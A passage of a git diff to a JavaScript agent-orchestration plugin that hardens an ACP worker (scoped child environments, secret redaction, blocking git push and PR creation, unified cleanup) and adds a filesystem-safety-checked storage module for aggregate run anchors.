updateTask(root, task.id, { provider_result_sink: receipt }); + } catch (error) { + const evidence = contentFreeSinkFailureV1(error); + try { + return await updateTask(root, task.id, { provider_result_sink: evidence }); + } catch { + return task; + } + } +} + function taskTimeoutMs(task, now = Date.now()) { const deadline = Date.parse(task?.deadline_at ?? ''); if (Number.isFinite(deadline)) return Math.max(1, deadline - now); @@ -144,14 +458,25 @@ function normalizeArgv(value) { return [...value]; } +function rejectWorkerPushArgv(argv) { + if (!Array.isArray(argv)) return argv; + for (const arg of argv) { + if (typeof arg === 'string' && /(?:pushurl|insteadof|--push-url|git\s+push|gh\s+pr)/iu.test(arg)) { + denyWorkerRemoteMutation('push'); + } + } + return argv; +} + function providerConfiguration(task) { const definition = PROVIDERS[task.provider]; if (!definition) fail('unsupported_provider', `Unsupported ACP provider: ${task.provider}`); + if (task.create_pr === true) denyWorkerRemoteMutation('create_pr'); if (definition.custom) { - return { agent: definition.agent, override: normalizeArgv(task.agent_argv) }; + return { agent: definition.agent, override: rejectWorkerPushArgv(normalizeArgv(task.agent_argv)) }; } if (task.agent_argv !== undefined) { - return { agent: definition.agent, override: normalizeArgv(task.agent_argv) }; + return { agent: definition.agent, override: rejectWorkerPushArgv(normalizeArgv(task.agent_argv)) }; } return { agent: definition.agent, override: null }; } @@ -223,10 +548,21 @@ export function publicError(error, prompt = '') { export function sanitizeText(value, prompt) { let text = String(value ?? ''); if (prompt) text = text.replaceAll(prompt, '[REDACTED_PROMPT]'); + text = redactExactValues(text, collectLaneSecrets(process.env)); for (const pattern of TOKEN_PATTERNS) text = text.replace(pattern, REDACTED); return text; } +function providerChildEnvironment(task, extra = {}) { + const env = projectProviderEnvironment({ + provider: task.provider, + dshModel: task.dsh_model, + source: process.env, + operation: 'lane', + }); + return Object.assign(env, extra); +} + function processStartTicks(pid) { try { const value = readFileSync(`/proc/${pid}/stat`, 'utf8'); @@ -374,10 +710,10 @@ async function removeAcpxTaskHome(root, taskId, home) { } } -function acpxTaskEnvironment(home) { - const env = { ...process.env, HOME: home }; +function acpxTaskEnvironment(home, task) { + const env = providerChildEnvironment(task, { HOME: home }); if (process.platform === 'win32') env.USERPROFILE = home; - return env; + return applyClosedProviderTestInjection(env); } async function awaitSupervisorRegistration(root, taskId, signal) { @@ -549,6 +885,22 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { let termination; let cancel; let timedOut = false; + let closePromise; + const closeOnce = () => { + closePromise ??= closeRetainedAcpResources({ + child, + stopDeadline, + extraClosers: [ + () => { clearTimeout(timer); }, + () => { if (cancel) signal?.removeEventListener('abort', cancel); }, + ], + }).then((evidence) => { + stopDeadline = undefined; + if (child) termination ??= Promise.resolve(true); + return evidence; + }); + return closePromise; + }; try { if (signal?.aborted) fail('cancelled', 'CLI fallback was cancelled before startup.'); rejectFallbackStart((await readTask(root, task.id)).task); @@ -558,7 +910,7 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { const argv = cliCommand(task, promptFile, prompt); child = spawn(argv[0], argv.slice(1), { cwd: task.cwd, - env: process.env, + env: providerChildEnvironment(task), detached: true, stdio: ['ignore', 'pipe', 'pipe'], }); @@ -618,8 +970,8 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { } const compact = { type: 'text_delta', text: result ?? 'CLI fallback completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); - await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed' }); - return updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + const terminal = await persistWorkerTerminal(root, task.id, { status: 'completed', result, ...Object.fromEntries(Object.entries(bounded).filter(([key]) => key.startsWith('result_'))), @@ -627,28 +979,26 @@ export async function runCliFallback({ root, task, prompt, signal } = {}) { provider_process_group: null, provider_process_start_ticks: null, fallback_safe: false, - finished_at: new Date().toISOString(), - }); + }, closeEvidence, { wtb_handoff: 'not_applicable' }); + return attachLocalProviderResultSink( + root, terminal, collectCliProviderOutputV1(stdout), stdoutTruncated, + ); } catch (error) { const failure = publicError(error, prompt); const terminalStatus = signal?.aborted || error?.code === 'cancelled' ? 'cancelled' : error?.code === 'timeout' || timedOut ? 'timeout' : 'failed'; - await appendTaskEvent(root, task.id, { type: 'terminal', status: terminalStatus, error: failure }).catch(() => {}); - await updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + await persistWorkerTerminal(root, task.id, { status: terminalStatus, error: failure, provider_process_group: null, provider_process_start_ticks: null, fallback_safe: false, - finished_at: new Date().toISOString(), - }).catch(() => {}); + }, closeEvidence, { wtb_handoff: 'not_applicable' }).catch(() => {}); throw error; } finally { - stopDeadline?.(); - clearTimeout(timer); - if (cancel) signal?.removeEventListener('abort', cancel); - if (child) await (termination ??= requestChildTreeTermination(child)); + await closeOnce(); await rm(promptFile, { force: true }); } } @@ -694,6 +1044,22 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s let timedOut = false; let cancel; let dispatchUncertain = false; + let closePromise; + const closeOnce = () => { + closePromise ??= closeRetainedAcpResources({ + child, + stopDeadline, + extraClosers: [ + () => { clearTimeout(timer); }, + () => { if (cancel) signal?.removeEventListener('abort', cancel); }, + ], + }).then((evidence) => { + stopDeadline = undefined; + if (child) termination ??= Promise.resolve(true); + return evidence; + }); + return closePromise; + }; try { if (signal?.aborted) fail('cancelled', 'DSH ACP task was cancelled before startup.'); await mkdir(acpxHome, { recursive: true, mode: 0o700 }); @@ -702,7 +1068,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s await updateTask(root, task.id, { status: 'starting', transport: 'acp', acp_client: 'acpx-cli', started_at: new Date().toISOString() }); child = spawn(process.env.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx', argv, { cwd, - env: acpxTaskEnvironment(acpxHome), + env: acpxTaskEnvironment(acpxHome, task), detached: true, stdio: ['ignore', 'pipe', 'pipe'], }); @@ -770,8 +1136,8 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s const output = bounded.value; const compact = { type: 'text_delta', text: typeof output === 'string' ? output : 'DSH ACP task completed.' }; await appendTaskEvent(root, task.id, { type: 'provider', event: compact }); - await appendTaskEvent(root, task.id, { type: 'terminal', status: 'completed', stop_reason: 'end_turn' }); - return updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + const terminal = await persistWorkerTerminal(root, task.id, { status: 'completed', error: null, stop_reason: 'end_turn', @@ -781,8 +1147,8 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s provider_process_group: null, provider_process_start_ticks: null, acp_session_id: Object.values(flow.sessionBindings ?? {})[0]?.acpSessionId ?? null, - finished_at: new Date().toISOString(), - }); + }, closeEvidence, { wtb_handoff: 'not_applicable' }); + return attachLocalProviderResultSink(root, terminal, outputValue, false); } catch (error) { if (!dispatchUncertain && !authenticationFailure(error)) { const fallback = await fallbackToCliIfSafe({ root, task, prompt, signal, error }); @@ -791,27 +1157,23 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s const current = (await readTask(root, task.id)).task; const status = signal?.aborted ? 'cancelled' : (error?.code === 'timeout' || timedOut ? 'timeout' : 'failed'); const failure = publicError(error, prompt); - await appendTaskEvent(root, task.id, { type: 'terminal', status, error: failure }).catch(() => {}); - await updateTask(root, task.id, { + const closeEvidence = await closeOnce(); + await persistWorkerTerminal(root, task.id, { status, error: failure, provider_process_group: null, provider_process_start_ticks: null, fallback_safe: fallbackStartAllowed(current) && cliFallbackMatchesTask(current) && cliFallbackMatchesTask(task), - finished_at: new Date().toISOString(), - }).catch(() => {}); + }, closeEvidence, { wtb_handoff: 'not_applicable' }).catch(() => {}); throw error; } finally { - stopDeadline?.(); - clearTimeout(timer); - if (cancel) signal?.removeEventListener('abort', cancel); - if (child) await (termination ??= requestChildTreeTermination(child)); + await closeOnce(); await removeAcpxTaskHome(root, task.id, acpxHome); await rm(inputFile, { force: true }); } } -async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal }) { +async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal, env }) { const stateDir = path.join(path.resolve(root), 'acp'); await mkdir(stateDir, { recursive: true, mode: 0o700 }); await chmod(stateDir, 0o700); @@ -824,6 +1186,7 @@ async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal mcpServers: [], permissionMode: 'approve-all', timeoutMs, + closedProviderEnv: env, onPermissionRequest: (params, extra = {}) => handlePermissionRequest(root, taskId, params, extra.signal ?? signal), }); } @@ -848,19 +1211,35 @@ export async function runAcpTask({ root, taskId, signal } = {}) { return runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, signal }); } - const runtime = await makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal }); + const childEnv = providerChildEnvironment(task); + const runtime = await makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal, env: childEnv }); const controller = new AbortController(); let timedOut = false; const abort = () => controller.abort(signal?.reason ?? new AcpWorkerError(timedOut ? 'timeout' : 'cancelled', timedOut ? 'ACP task exceeded its recorded deadline.' : 'Task cancelled.')); if (signal?.aborted) abort(); else signal?.addEventListener('abort', abort, { once: true }); - const stopDeadline = startDeadlineWatch(root, taskId, () => { + let stopDeadline = startDeadlineWatch(root, taskId, () => { timedOut = true; abort(); }); let turn; let handle; + let closePromise; + const closeOnce = () => { + closePromise ??= closeRetainedAcpResources({ + runtime, + handle, + stopDeadline, + extraClosers: [ + () => signal?.removeEventListener('abort', abort), + ], + }).then((evidence) => { + stopDeadline = undefined; + return evidence; + }); + return closePromise; + }; try { await updateTask(root, taskId, { status: 'starting', transport: 'acp', started_at: new Date().toISOString() }); handle = await runtime.ensureSession({ @@ -892,10 +1271,12 @@ export async function runAcpTask({ root, taskId, signal } = {}) { controller.signal.addEventListener('abort', cancel, { once: true }); let lastEvent = null; const output = createProviderResultAccumulator({ sanitize: (text) => sanitizeText(text, prompt) }); + const complete = createLocalProviderResultCollectorV1(); try { for await (const event of turn.events) { if (event?.type === 'text_delta' && event.stream !== 'thought' && typeof event.text === 'string') { output.append(event.text); + complete.append(event.text); } const compact = boundedEvent(event, prompt); await appendTaskEvent(root, taskId, { type: 'provider', event: compact }); @@ -908,17 +1289,19 @@ export async function runAcpTask({ root, taskId, signal } = {}) { const result = await turn.result; const status = result.status === 'completed' ? 'completed' : result.status; const bounded = output.finish(); - const terminal = await updateTask(root, taskId, { + const closeEvidence = await closeOnce(); + const terminal = await persistWorkerTerminal(root, taskId, { status, stop_reason: result.stopReason ?? null, last_event: lastEvent, result: bounded.value, ...Object.fromEntries(Object.entries(bounded).filter(([key]) => key.startsWith('result_'))), ...(result.status === 'failed' ? { error: publicError(result.error, prompt), fallback_safe: false } : {}), - finished_at: new Date().toISOString(), - }); - await appendTaskEvent(root, taskId, { type: 'terminal', status, stop_reason: result.stopReason ?? null }); - return terminal; + }, closeEvidence, { wtb_handoff: 'not_applicable' }); + const snapshot = complete.snapshot(); + return attachLocalProviderResultSink( + root, terminal, snapshot.source, false, snapshot.overflow === true, + ); } catch (error) { const failure = publicError(error, prompt); const current = (await readTask(root, taskId)).task; @@ -929,70 +1312,82 @@ export async function runAcpTask({ root, taskId, signal } = {}) { const status = timedOut || error?.code === 'timeout' ? 'timeout' : controller.signal.aborted ? 'cancelled' : 'failed'; - await updateTask(root, taskId, { + const closeEvidence = await closeOnce(); + await persistWorkerTerminal(root, taskId, { status, error: failure, - finished_at: new Date().toISOString(), fallback_safe: fallbackStartAllowed(current), - }).catch(() => {}); - await appendTaskEvent(root, taskId, { type: 'terminal', status, error: failure }).catch(() => {}); + }, closeEvidence, { wtb_handoff: 'not_applicable' }).catch(() => {}); throw error; } finally { - stopDeadline?.(); - signal?.removeEventListener('abort', abort); - // This closes the retained stdio client but does not send session/close or - // discard the persisted ACP identity. A later worker can resume it. - if (handle) await runtime.close({ handle, reason: 'worker_exit' }).catch(() => {}); - await secureAcpxSessions(); + await closeOnce(); } } -async function runCli(argv) { +export async function runAcpWorkerCli(argv, { + env = process.env, + cwd = process.cwd(), + readFileImpl = readFile, + runAcpTaskImpl = runAcpTask, + handoffImpl = boundedWtbHandoff, + runFileImpl = runFile, + stdoutWrite = (chunk) => process.stdout.write(chunk), + stderrWrite = (chunk) => process.stderr.write(chunk), + exit = (code) => { process.exit(code); }, + exitMs = WORKER_EXIT_MS, +} = {}) { if (argv.length !== 2 || argv[0] !== '--request') { - process.stderr.write('Usage: node acp-worker.mjs --request /absolute/path/to/request.json\n'); - process.exitCode = 2; + stderrWrite('Usage: node acp-worker.mjs --request /absolute/path/to/request.json\n'); + requestWorkerExit(2, { exit, exitMs }); return; } const requestPath = argv[1]; if (!path.isAbsolute(requestPath)) fail('invalid_request', 'Request path must be absolute.'); - const request = JSON.parse(await readFile(requestPath, 'utf8')); + const request = JSON.parse(await readFileImpl(requestPath, 'utf8')); const controller = new AbortController(); const cancel = () => controller.abort(new AcpWorkerError('cancelled', 'Worker signal received.')); process.once('SIGINT', cancel); process.once('SIGTERM', cancel); + + const finish = async (task, code) => { + const handoff = await handoffImpl({ + root: request.root, + taskId: request.task_id, + env, + cwd, + runFileImpl, + }).catch(() => ({ attempted: false, wtb_handoff: 'not_applicable', task })); + const recorded = handoff.task ?? task ?? (await readTask(request.root, request.task_id)).task; + emitWorkerTerminalStdout(recorded, stdoutWrite); + requestWorkerExit(code, { exit, exitMs }); + return recorded; + }; + try { await awaitSupervisorRegistration(request.root, request.task_id, controller.signal); await removeStalePromptTransports(request.root, request.task_id); - if (process.env.WORKTREE_BOOTSTRAP_TASK) { - await runFile('worktree-bootstrap', [ + if (env.WORKTREE_BOOTSTRAP_TASK) { + await runFileImpl('worktree-bootstrap', [ 'verify', - process.env.WORKTREE_BOOTSTRAP_TASK, + env.WORKTREE_BOOTSTRAP_TASK, '--repo', - process.cwd(), + cwd, '--require-writer', ]); } - let task = await runAcpTask({ root: request.root, taskId: request.task_id, signal: controller.signal }); - if (process.env.WORKTREE_BOOTSTRAP_TASK) { - try { - const { stdout } = await runFile('worktree-bootstrap', [ - 'handoff', - process.env.WORKTREE_BOOTSTRAP_TASK, - '--repo', - process.cwd(), - '--format', - 'json', - ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); - const handoff = JSON.parse(stdout); - task = await updateTask(request.root, request.task_id, { handoff }); - } catch (error) { - await appendTaskEvent(request.root, request.task_id, { - type: 'cleanup_warning', - code: error?.code ?? 'handoff_failed', - }).catch(() => {}); - } + const task = await runAcpTaskImpl({ root: request.root, taskId: request.task_id, signal: controller.signal }); + await finish(task, 0); + } catch (error) { + const latest = await readTask(request.root, request.task_id).catch(() => null); + if (latest?.task?.cleanup?.status === 'pending') { + await finish(latest.task, 1).catch(() => { + requestWorkerExit(1, { exit, exitMs }); + }); + return; } - process.stdout.write(`${JSON.stringify({ task_id: task.id, status: task.status })}\n`); + const failure = publicError(error); + stderrWrite(`acp-worker: ${failure.code}: ${failure.message}\n`); + requestWorkerExit(1, { exit, exitMs }); } finally { process.off('SIGINT', cancel); process.off('SIGTERM', cancel); @@ -1000,9 +1395,9 @@ async function runCli(argv) { } if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { - runCli(process.argv.slice(2)).catch((error) => { + runAcpWorkerCli(process.argv.slice(2)).catch((error) => { const failure = publicError(error); process.stderr.write(`acp-worker: ${failure.code}: ${failure.message}\n`); - process.exitCode = 1; + requestWorkerExit(1); }); } diff --git a/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs new file mode 100644 index 0000000..b7eccb0 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs @@ -0,0 +1,2188 @@ +// Aggregate pre-dispatch run anchor (R24A). +// +// Additive v3 module. It persists one immutable AggregateRunAnchorV1 plus +// absorbing coordination state for runs whose P05 provider/model selection is +// still unresolved. The caller supplies a private root distinct from accepted +// P24/P25. Open requires an explicit storage-root.v1 marker of kind +// aggregate_run_anchor; unmarked empty roots are typed uninitialized and +// nonempty P24/P25/foreign roots fail closed. Root-level claims/.json +// bind identity before runs/ is adopted. High-level mutations publish +// full canonical records before coordination references. There is no public +// raw-digest CAS, journal, reducer, scheduler, provider, workspace, server, +// or MCP wiring, and no migration of P24/P25. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, mkdir, open, opendir, rename, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { IDENTITY_LABELS, canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertHexDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + selectionRequestIdentity, + validateSelectionRequestV1, +} from './resolver.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + REQUEST_ID_PATTERN, + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, + identityBoundDigest, +} from './selection-json.mjs'; + +export const STORAGE_ROOT_SCHEMA_ID = 'codex-co-engineer.storage-root.v1'; +export const AGGREGATE_RUN_ANCHOR_SCHEMA_ID = 'codex-co-engineer.aggregate-run-anchor.v1'; +export const AGGREGATE_RUN_COORDINATION_SCHEMA_ID = 'codex-co-engineer.aggregate-run-coordination.v1'; +export const AGGREGATE_RUN_CLAIM_SCHEMA_ID = 'codex-co-engineer.aggregate-run-claim.v1'; +export const AGGREGATE_RUN_STAMP_SCHEMA_ID = 'codex-co-engineer.aggregate-run-created.v1'; +export const AGGREGATE_RUN_LOCK_SCHEMA_ID = 'codex-co-engineer.aggregate-run-lock.v1'; +export const AGGREGATE_NAMESPACE_LOCK_SCHEMA_ID = 'codex-co-engineer.aggregate-namespace-lock.v1'; +export const AGGREGATE_SUBMISSION_SCHEMA_ID = 'codex-co-engineer.aggregate-run-submission.v1'; +export const AGGREGATE_SELECTION_REPLY_SCHEMA_ID = 'codex-co-engineer.selection-reply.v1'; +export const AGGREGATE_RESOLVED_PLAN_SCHEMA_ID = 'codex-co-engineer.resolved-plan.v1'; +export const AGGREGATE_STORAGE_ROOT_KIND = 'aggregate_run_anchor'; + +export const AGGREGATE_RUN_PHASES = capturedFreeze([ + 'submitted', 'awaiting_selection', 'resolution_ready', +]); +export const AGGREGATE_RUN_ANCHOR_KEYS = capturedFreeze([ + 'schema', 'run_id', 'identity', 'git', 'manifest_digest', + 'submission_idempotency_key', 'canonical_digest', +]); +export const AGGREGATE_RUN_ANCHOR_INPUT_KEYS = capturedFreeze([ + 'run_id', 'identity', 'git', 'manifest_digest', +]); +export const AGGREGATE_RUN_COORDINATION_KEYS = capturedFreeze([ + 'schema', 'run_id', 'anchor_digest', 'revision', 'phase', + 'selection_request_binding', 'selection_reply_digest', 'resolved_plan_digest', + 'state_digest', +]); +export const AGGREGATE_SELECTION_BINDING_KEYS = capturedFreeze([ + 'run_id', 'request_id', 'digest', 'record_digest', +]); +export const AGGREGATE_REQUEST_IDENTITY_KEYS = capturedFreeze([ + 'digest', 'request_id', 'run_id', +]); +export const AGGREGATE_SUBMISSION_KEYS = capturedFreeze([ + 'schema', 'run_id', 'git_digest', 'repository_path', 'base_sha', 'manifest_digest', +]); +export const AGGREGATE_CLAIM_KEYS = capturedFreeze([ + 'schema', 'run_id', 'anchor_digest', 'submission_idempotency_key', + 'root_marker_nonce', 'root_marker_digest', 'nonce', 'canonical_digest', +]); +export const AGGREGATE_MARKER_KEYS = capturedFreeze([ + 'schema', 'kind', 'nonce', 'canonical_digest', +]); +export const AGGREGATE_SELECTION_REPLY_INPUT_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_id', 'answers', +]); +export const AGGREGATE_SELECTION_REPLY_KEYS = capturedFreeze([ + 'schema', 'run_id', 'request_id', 'answers', 'canonical_digest', +]); +export const AGGREGATE_RESOLVED_PLAN_INPUT_KEYS = capturedFreeze([ + 'schema', 'run_id', 'complete', +]); +export const AGGREGATE_RESOLVED_PLAN_KEYS = capturedFreeze([ + 'schema', 'run_id', 'complete', 'canonical_digest', +]); +export const AGGREGATE_COMMIT_REQUEST_KEYS = capturedFreeze([ + 'run_id', 'expected_revision', 'request_identity', 'record', +]); +export const AGGREGATE_COMMIT_RESOLUTION_KEYS = capturedFreeze([ + 'run_id', 'expected_revision', 'request_identity', 'reply_record', + 'resolved_plan_record', +]); +export const AGGREGATE_COMMIT_PLAN_KEYS = capturedFreeze([ + 'run_id', 'expected_revision', 'resolved_plan_record', +]); +export const SELECTION_ANSWER_KEYS = capturedFreeze(['assignment_id', 'model', 'provider']); + +export const MAX_AGGREGATE_RUNS = 64; +export const MAX_AGGREGATE_RUN_DIRECTORY_ENTRIES = 16; +export const MAX_AGGREGATE_ROOT_ENTRIES = 8; +export const MAX_AGGREGATE_CLAIMS_DIRECTORY_ENTRIES = MAX_AGGREGATE_RUNS + 4; +export const MAX_AGGREGATE_RUNS_DIRECTORY_ENTRIES = MAX_AGGREGATE_RUNS + 4; +export const MAX_AGGREGATE_ANCHOR_BYTES = 64 * 1024; +export const MAX_AGGREGATE_COORDINATION_BYTES = 16 * 1024; +export const MAX_AGGREGATE_CLAIM_BYTES = 4 * 1024; +export const MAX_AGGREGATE_MARKER_BYTES = 512; +export const MAX_AGGREGATE_STAMP_BYTES = 256; +export const MAX_AGGREGATE_LOCK_BYTES = 160; +export const MAX_AGGREGATE_RECORD_BYTES = 16 * 1024; +export const MAX_AGGREGATE_TEMPORARIES = 8; +export const MAX_AGGREGATE_FILENAME_BYTES = 80; +export const MAX_AGGREGATE_DIAGNOSTIC_BYTES = 160; +export const AGGREGATE_LOCK_WAIT_MS = 8_000; +export const AGGREGATE_LOCK_POLL_MS = 10; +export const AGGREGATE_LOCK_MAX_AGE_MS = 30_000; +export const MAX_AGGREGATE_LOCK_STEALS = 4; + +const MARKER_NAME = 'storage-root.v1'; +const CLAIMS_NAME = 'claims'; +const RUNS_NAME = 'runs'; +const LOCK_NAME = 'lock'; +const ANCHOR_NAME = 'anchor.json'; +const COORDINATION_NAME = 'coordination.json'; +const STAMP_NAME = 'created.json'; +const REQUEST_RECORD_NAME = 'selection-request.record.json'; +const REPLY_RECORD_NAME = 'selection-reply.record.json'; +const PLAN_RECORD_NAME = 'resolved-plan.record.json'; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const LOCK_OWNER_NAME_PATTERN = /^\.lock-[0-9a-f]{32}$/u; +const P24_RECORD_NAME_PATTERN = /^[a-z][a-z0-9-]{2,63}\.json$/u; +const P24_KEY_NAME_PATTERN = /^k-[0-9a-f]{64}$/u; +const NONCE_PATTERN = /^[0-9a-f]{32}$/u; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const TIMING_SAFE_EQUAL = timingSafeEqual; +const RANDOM_BYTES = randomBytes; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const ROOT_CHAINS = new Map(); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_AGGREGATE_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_AGGREGATE_DIAGNOSTIC_BYTES); +} + +function failAnchor(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, fallback, fallbackMessage) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') { + failAnchor('aggregate_run_root_missing', field, 'The aggregate run path does not exist.'); + } + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failAnchor('aggregate_run_root_unsafe', field, 'The aggregate run path is not a real directory.'); + } + if (errno === 'EEXIST' || errno === 'ENOTEMPTY') { + failAnchor('aggregate_run_identity_conflict', field, fallbackMessage); + } + failAnchor(fallback, field, fallbackMessage); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failAnchor('aggregate_run_root_unsafe', 'root', + 'Aggregate run root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failAnchor('aggregate_run_path_unsafe', 'root', + 'Aggregate run root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failAnchor('aggregate_run_foreign_entry', field, 'Aggregate run directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failAnchor('aggregate_run_path_unsafe', field, 'Aggregate run names must be single path components.'); + } + if (utf8ByteLength(name) > MAX_AGGREGATE_FILENAME_BYTES) { + failAnchor('aggregate_run_foreign_entry', field, 'Aggregate run filename exceeds the bounded length.'); + } + return name; +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failAnchor('aggregate_run_path_unsafe', 'name', 'Aggregate run child path escaped the private root.'); + } + return joined; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failAnchor('aggregate_run_root_unsafe', field, `The aggregate run ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failAnchor('aggregate_run_root_unsafe', field, `The aggregate run ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failAnchor('aggregate_run_root_unsafe', field, + `The aggregate run ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failAnchor('aggregate_run_not_regular', field, 'Aggregate run files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failAnchor('aggregate_run_root_unsafe', field, 'Aggregate run files must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failAnchor('aggregate_run_root_unsafe', field, 'Aggregate run files must be owner-only.'); + } +} + +function swapCodeFor(label) { + if (label === 'root') return 'aggregate_run_root_swapped'; + if (label === 'marker') return 'aggregate_run_marker_swapped'; + if (label === 'claims') return 'aggregate_run_claims_swapped'; + if (label === 'runs') return 'aggregate_run_runs_swapped'; + if (label === 'directory' || label === 'run') return 'aggregate_run_dir_swapped'; + if (label === 'claim') return 'aggregate_run_claim_swapped'; + return 'aggregate_run_root_swapped'; +} + +async function openDirectoryHandle(dirPath, field) { + let handle; + try { + handle = await open(dirPath, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, field, 'aggregate_run_root_unsafe', + 'The aggregate run directory could not be opened without following links.'); + } + try { + const stat = await handle.stat(); + assertPrivateDirectory(stat, field, field === 'root' ? 'root' : 'directory'); + return { handle, path: dirPath, dev: stat.dev, ino: stat.ino, mode: stat.mode, uid: stat.uid }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reverifyDirectory(token, label) { + const opened = await reopenDirectory(token, label); + await opened.handle.close().catch(() => {}); +} + +async function reopenDirectory(token, label) { + let opened; + try { + opened = await openDirectoryHandle(token.path, label); + } catch (error) { + if (error instanceof RunContractV1Error + && (error.code === 'aggregate_run_root_missing' || error.code === 'aggregate_run_root_unsafe')) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + throw error; + } + try { + if (!sameIdentity(opened, token)) { + failAnchor(swapCodeFor(label), label, `The aggregate run ${label} was replaced during use.`); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +async function syncDirectory(handle) { + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failAnchor('aggregate_run_unreadable', 'directory', + 'The aggregate run directory could not be synchronized.'); + } +} + +async function enumerateDirectory(token, maxEntries, field) { + let dir; + try { + dir = await opendir(token.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, field, 'aggregate_run_unreadable', + 'The aggregate run directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > maxEntries) { + 